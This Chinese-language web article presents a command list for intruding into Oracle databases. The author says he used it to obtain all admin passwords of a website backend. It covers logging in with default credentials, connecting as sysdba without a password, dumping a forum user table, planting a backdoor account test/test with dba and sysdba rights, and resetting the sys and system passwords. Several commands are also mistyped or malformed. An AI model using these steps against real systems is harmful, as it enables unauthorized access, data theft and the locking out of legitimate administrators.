熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Oracle >> 正文

入侵oracle數據庫時常用的操作命令整理

2013-11-13 15:44:31  來源: Oracle 

  最近遇到一個使用了Oracle數據庫的服務器在狂學Oracle+請教高手後終於搞到了網站後台管理界面的所有用戶密碼我發現Oracle操作起來真是太麻煩為了兄弟們以後少走些彎路我把入侵當中必需的命令整理出來一個星期的心血版權所有轉載請注明作者

  su – oracle 不是必需適合於沒有DBA密碼時使用可以不用密碼來進入sqlplus界面

  sqlplus /nolog 或sqlplus system/manager 或/sqlplus system/manager@orai;

  SQL>connect / as sysdba ;(as sysoper)或 connect internal/oracle AS SYSDBA ;(scott/tiger)

  conn sys/change_on_install as sysdba;

  SQL>startup; 啟動數據庫實例

  查看當前的所有數據庫

  

  

  select * from v$database;

  select name from v$database;

  desc v$databases; 查看數據庫結構字段

  怎樣查看哪些用戶擁有SYSDBASYSOPER權限

  

  

  SQL>select * from V_$PWFILE_USERS;

  Show user;查看當前數據庫連接用戶

  進入test數據庫database test;

  查看所有的數據庫實例

  

  

  select * from v$instance

  如orai

  查看當前庫的所有數據表

  

  

  SQL> select TABLE_NAME from all_tables;

select * from all_tables;

SQL> select table_name from all_tables where table_name like %u%;

TABLE_NAME



_default_auditing_options_

  查看表結構desc all_tables;

  顯示CQIT_BBS_XUSER的所有字段結構

  

  

  desc CQIT_BBS_XUSER;

  獲得CQIT_BBS_XUSER表中的記錄

  

  

  select * from CQIT_BBS_XUSER;

  增加數據庫用戶(test/test)

  

  

  create user test identified by test default tablespace users Temporary TABLESPACE Temp;

  用戶授權

  

  

  grant connectresourcedba to test;

grant sysdba to test;

commit;

  更改數據庫用戶的密碼(將sys與system的密碼改為test)

  

  

  alter user sys indentified by test;

alter user system indentified by test;


From:http://tw.wingwit.com/Article/program/Oracle/201311/17233.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.